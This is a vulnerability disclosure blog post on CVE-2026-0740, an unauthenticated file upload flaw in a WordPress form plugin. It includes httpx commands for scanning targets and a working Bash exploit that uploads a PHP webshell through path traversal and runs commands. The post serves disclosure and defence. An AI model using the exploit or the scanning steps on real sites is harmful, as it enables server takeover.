Introduction
Context
During a recent security audit conducted by the Ambionics team, we identified a critical zero-day vulnerability in the Ninja Forms - File Uploads WordPress plugin.
This vulnerability, now tracked as CVE-2026-0740, allows any unauthenticated visitor to upload arbitrary PHP files on the server, thereby achieving remote code execution.
In this post, we will walk through the technical details of this vulnerability, how to detect vulnerable targets, and how to exploit it.
Ninja Forms & Extensions
Ninja Forms is one of the most popular form builder plugins for WordPress, with over 600,000 active installations according to the official WordPress repository. This plugin includes a wide range of proprietary sub-extensions, each having its own unique features.
The Ninja Forms - File Uploads extension is a premium add-on that allows users to upload files through Ninja Forms. According to Wordfence database, this extension is active on over 57,944 websites.
With the widespread use of Ninja Forms, its premium extensions have become prime targets. Our research demonstrates that a single insecure AJAX handler in an add-on is all it takes to put tens of thousands of sites at risk.
Exploitation Conditions
This vulnerability affects all versions of Ninja Forms - File Uploads up to and including 3.3.26. The vulnerability was originally discovered and reported on version 3.3.23 and exploitation is straightforward up to version 3.3.24, as we will see later.
Versions 3.3.25 and 3.3.26 introduced successive patches that add increasing limitations to exploitation, but the issue is fully resolved only in version 3.3.27.
The following conditions must be met to exploit this vulnerability:
- Ninja Forms plugin must be installed and activated (tested on version 3.13.3).
- Ninja Forms - File Uploads plugin must be installed and activated (tested on version 3.3.24).
- No active public form or pre-existing file upload field is required.
Vulnerable Target Detection
Before diving into the technical details, let's first explore how to detect vulnerable WordPress instances.
The presence of the plugin can be detected by looking for its specific assets in the page source. When it is installed and activated, the following script is typically loaded on the home page:
<script type="text/javascript" src=".../plugins/ninja-forms-uploads/assets/js/nfpluginsettings.js?ver=VERSION" id="file_uploads_nfpluginsettings-js"></script>
You can use automated tools like httpx from Project Discovery to detect the plugin and extract its version across multiple targets:
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Example output:
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
Another way to determine the version is to parse the readme.txt file directly. However, this method only confirms that the plugin files are present and does not indicate whether it is currently active. It is then less reliable, less stealthy, and may be blocked in certain server configurations:
httpx -u http://localhost:8000 -path /wp-content/plugins/ninja-forms-uploads/readme.txt -ms 'Stable tag' -er 'Stable tag:\s[\d\.]+'
Example output:
http://localhost:8000/wp-content/plugins/ninja-forms-uploads/readme.txt [Stable tag: 3.3.24]
Source Code Analysis
So now, let's dive into the Ninja Forms - File Uploads source code to understand the underlying mechanics of this vulnerability.
1. Entry Point & Intended Protections
The plugin registers two unauthenticated AJAX handlers to manage file uploads:
nf_fu_get_new_noncenf_fu_upload
<?php // includes/ajax/controllers/uploads.php:34
add_action( 'wp_ajax_nopriv_nf_fu_get_new_nonce', array( $this, 'get_new_nonce' ) );
add_action( 'wp_ajax_nopriv_nf_fu_upload', array( $this, 'handle_upload' ) );
The nf_fu_get_new_nonce action is specifically designed to provide clients with a valid security nonce on demand. By providing an arbitrary field_id, an attacker can effortlessly obtain the authorization required to trigger the nf_fu_upload endpoint, even if no file upload field exists on the site:
curl http://localhost:8000/wp-admin/admin-ajax.php -d 'action=nf_fu_get_new_nonce&field_id=1337'
{"success":true,"data":{"nonce":"f0c5f92b4a","nonce_expiry":1773100643}}
This is always true, even in the fully patched version 3.3.27.
Once authorized, the plugin attempts to block dangerous files, such as PHP scripts, through a _validate() function:
<?php // includes/ajax/controllers/uploads.php:261
if ( false === $this->_validate( $file ) ) {
unset( $this->_data['files'][ $key ] );
@unlink( $file['tmp_name'] );
continue;
}
This validation involves sanitizing the filename and checking its extension against both a blacklist and a whitelist defined in the plugin's settings:
<?php // includes/ajax/controllers/uploads.php:463
$filename = sanitize_file_name( $file['name'] );
if ( ! $this->validate_file_type( $filename ) ) {
return false;
}
$extension = pathinfo( $filename, PATHINFO_EXTENSION );
if ( ! $this->validate_extension_blacklist( $extension ) ) {
return false;
}
if ( ! $this->validate_extension_whitelist( $extension ) ) {
return false;
}
On paper, this multi-layered approach involving on-demand nonces and strict extension checks should provide robust security. In practice, both measures can be easily bypassed.
2. Bypassing Extension Checks: User-Controlled Filenames
The heart of the vulnerability lies in the plugin's flawed logic for handling temporary files during upload. The plugin allows the client to specify a custom temporary filename and trusts a user-supplied POST parameter for this purpose without any validation.
While the initial file metadata (from $_FILES) undergoes extension checks, the plugin allows this validated metadata to be "swapped" for a user-provided destination filename. The required parameter name is a slugified version of the original filename, where spaces ' ' and dots . are replaced by underscores _:
<?php // includes/ajax/controllers/uploads.php:267
$file_key = strtolower( str_replace( array( ' ', '.' ), '_', $file['name'] ) );
$new_tmp_name = filter_input( INPUT_POST, $file_key );
if ( empty( $new_tmp_name ) ) {
$new_tmp_name = $this->get_temp_filename( $file['name'] );
}
$new_tmp_file_path = NF_File_Uploads()->controllers->uploads->get_path( $new_tmp_name, true );
$append_file = $this->get_content_range() && is_file( $new_tmp_file_path ) && $file['size'] > NF_FU_Helper::get_file_size( $new_tmp_file_path );
if ( $append_file ) {
$result = file_put_contents( $new_tmp_file_path, fopen( $file['tmp_name'], 'r' ), FILE_APPEND );
} else {
$result = move_uploaded_file( $file['tmp_name'], $new_tmp_file_path );
}
If an attacker uploads a file named image.jpg, the extension check passes. However, by providing another POST parameter named image_jpg with the value shell.php, the attacker forces the plugin to use shell.php as the destination filename for the move_uploaded_file call.
The previous extension validation is entirely bypassed because it was performed on the literal string image.jpg, while the actual file is written to shell.php.
3. Reaching the Uploaded File
Once a PHP file is uploaded to the temporary directory (wp-content/uploads/ninja-forms/tmp/), server-side protections attempt to prevent its execution. The impact depends on the web server in use.
Apache
The plugin deploys a restrictive .htaccess file in the tmp/ directory:
ForceType application/octet-stream
Header set Content-Disposition attachment
<FilesMatch "(?i)\.(gif|jpe?g|png)$">
ForceType none
Header unset Content-Disposition
</FilesMatch>
Header set X-Content-Type-Options nosniff
However, the ForceType and Content-Disposition directives do not prevent PHP execution. These directives only control response headers, not how the server processes the request. When PHP is configured via mod_php or php-fpm, .php scripts are still interpreted regardless. The uploaded webshell is therefore directly executable from the tmp/ directory without any additional bypass.
Nginx
On Nginx, which is used in many WordPress installations, the wp-content/uploads/ directory typically returns a 403 Forbidden, preventing direct access to any uploaded file. In this case, path traversal is required to place the file outside the restricted directory.
Path Traversal
The user-controlled filename can be leveraged to escape the upload directory. In the get_path() function, the filename is blindly appended to the directory path without sanitization:
<?php // includes/admin/controllers/uploads.php:189
public function get_path( $filename = '', $temp = false ) {
$file_path = $temp ? $this->get_temp_dir() : $this->get_base_dir();
// ... filters ...
return trailingslashit( $file_path ) . $filename;
}
By providing a value like ../../../shell.php in the image_jpg parameter, the file escapes the uploads/ directory and is written to wp-content/shell.php, which is web-accessible on both Apache and Nginx. This makes path traversal the most reliable exploitation method across all configurations.
Note that path traversal is mitigated in version 3.3.25 and later by using the sanitize_file_name function to sanitize input.
4. Extension Bypass per Version
As demonstrated above, achieving remote code execution is trivial up to version 3.3.24: no validation is applied to the destination filename, allowing arbitrary extensions and path traversal. Starting from version 3.3.25, successive patches introduced increasing restrictions on the destination filename, but each remained incomplete.
The following table summarizes which attack vectors and file extensions bypass the destination filename validation across each version of the plugin:
| Vector / Extension | <= 3.3.24 | 3.3.25 | 3.3.26 | >= 3.3.27 |
|---|---|---|---|---|
Path traversal (../) | PASS | - | - | - |
.htaccess / .user.ini | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml | PASS | PASS | - | - |
.phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.php3/4/5/7/8, .phps | PASS | PASS | - | - |
.asp | PASS | - | - | - |
.aspx | PASS | PASS | - | - |
.jsp | PASS | - | - | - |
.jspx | PASS | PASS | - | - |
.cgi, .pl, .py, .rb | PASS | PASS | - | - |
.sh, .bash, .zsh, .ksh | PASS | PASS | - | - |
.cmd, .msi, .scr | PASS | PASS | - | - |
.exe, .bat, .com | PASS | - | - | - |
.ps1, .psm1, .psd1 | PASS | PASS | - | - |
.hta, .vbs, .vbe, .wsf, .wsh | PASS | PASS | - | - |
.shtml, .shtm, .stm | PASS | PASS | - | - |
.jar, .war | PASS | PASS | - | - |
.cfm, .cfml | PASS | PASS | - | - |
.html, .htm, .svg, .xml, .css, .js | PASS | PASS | PASS | - |
Double ext (shell.php.jpg) | PASS | - | - | - |
Key takeaways:
- <= 3.3.24: No validation on the destination filename. All vectors and extensions pass.
- == 3.3.25:
sanitize_file_nameblocks path traversal and dotfiles. A 7-entry blacklist is added, but misses most dangerous extensions. - == 3.3.26: The blacklist is expanded to 40 entries, blocking most server-side extensions. However,
.phtand common web extensions (.html,.svg,.js) still pass. - >= 3.3.27: A whitelist-based approach is applied to the destination filename, fully resolving the vulnerability.
Exploitation Script
By chaining these flaws, we can achieve remote code execution (RCE) via PHP webshell upload using a simple Bash script that automates the nonce retrieval, path traversal, file upload and code execution in just three curl requests.
#!/bin/bash
# =============================================================================
# Author: Sélim Lanouar (@whattheslime)
# CVE: CVE-2026-0740
# Date: January 15th, 2026
# Title: Ninja Forms Uploads - Remote Code Execution
# Vendor URL: https://ninjaforms.com/extensions/file-uploads/
# Version: <= 3.3.24
# -----------------------------------------------------------------------------
# Usage: ./CVE-2026-0740.sh <target_url>
# =============================================================================
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <target_url>"
exit 1
fi
target=$1
field_id=$(head /dev/urandom | tr -dc '1-9' | head -c 16 ; echo)
file_name=webshell.php
echo "[-] Writing webshell in /tmp/$file_name..."
echo '<?php system($_GET["cmd"]); ?>' > /tmp/$file_name
echo "[-] Fetching nonce for random field_id $field_id..."
nonce=$(curl -s -X POST "$target/wp-admin/admin-ajax.php" \
-d "action=nf_fu_get_new_nonce&field_id=$field_id" | jq -r '.data.nonce')
echo "[+] Got nf_fu_upload nonce: $nonce"
echo "[-] Uploading webshell..."
response=$(curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
-F "action=nf_fu_upload" \
-F "nonce=$nonce" \
-F "form_id=$field_id" \
-F "field_id=$field_id" \
-F "image_jpg=../../../$file_name" \
-F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg")
echo "[+] Upload response: $response"
command="curl -ks '$target/wp-content/$file_name?cmd=id'"
echo "[-] Executing the 'id' command via the uploaded webshell: $command"
result=$(eval $command)
echo "[+] Command output: $result"
Running the script against a vulnerable instance produces the following output:
./CVE-2026-0740.sh http://localhost:8000
[-] Writing webshell in /tmp/webshell.php...
[-] Fetching nonce for random field_id 8873162935451132...
[+] Got nf_fu_upload nonce: 6c3be636b0
[-] Uploading webshell...
[+] Upload response: {"data":{"files":[{"name":"image.jpg","full_path":"image.jpg","type":"image\/jpeg","tmp_name":"..\/..\/..\/webshell.php","error":0,"size":31,"new_tmp_key":"image_jpg"}]},"errors":[],"debug":[]}
[-] Executing the 'id' command via the uploaded webshell: curl -ks 'http://localhost:8000/wp-content/webshell.php?cmd=id'
[+] Command output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
A full exploit script is now available on GitHub.
Conclusion
CVE-2026-0740 highlights the importance of sanitizing all user-supplied input, especially when it concerns file paths and names. Unauthenticated endpoints that provide nonces or handle file uploads should always be treated with extreme caution.
Users are strongly advised to update the Ninja Forms - File Uploads plugin to version 3.3.27 or later immediately.
We would like to thank the Wordfence team for their swift communication and professional handling of this vulnerability report. For their detailed analysis on this vulnerability, check out their blog post.
Timeline
- [2026/01/07]: Ambionics discovered the vulnerability on their clients' WordPress instances.
- [2026/01/08]: Ambionics reported the presence of a critical vulnerability to its clients and Wordfence.
- [2026/01/08]: Wordfence validated the vulnerability, assigned CVE-2026-0740 and contacted Ninja Forms to provide full disclosure of the flaw.
- [2026/01/26]: Ninja Forms released a partial fix in version 3.3.25: "sanitize uploaded file paths"
- [2026/02/09]: Ninja Forms released a partial fix in version 3.3.26: "block executable file variants with expanded extension blacklist"
- [2026/03/16]: Ninja Forms released a complete fix in version 3.3.27: "block destination filename whitelist bypass in file upload"
- [2026/04/06]: Wordfence disclosed the vulnerability.
- [2026/04/07]: Ambionics team released this blog post.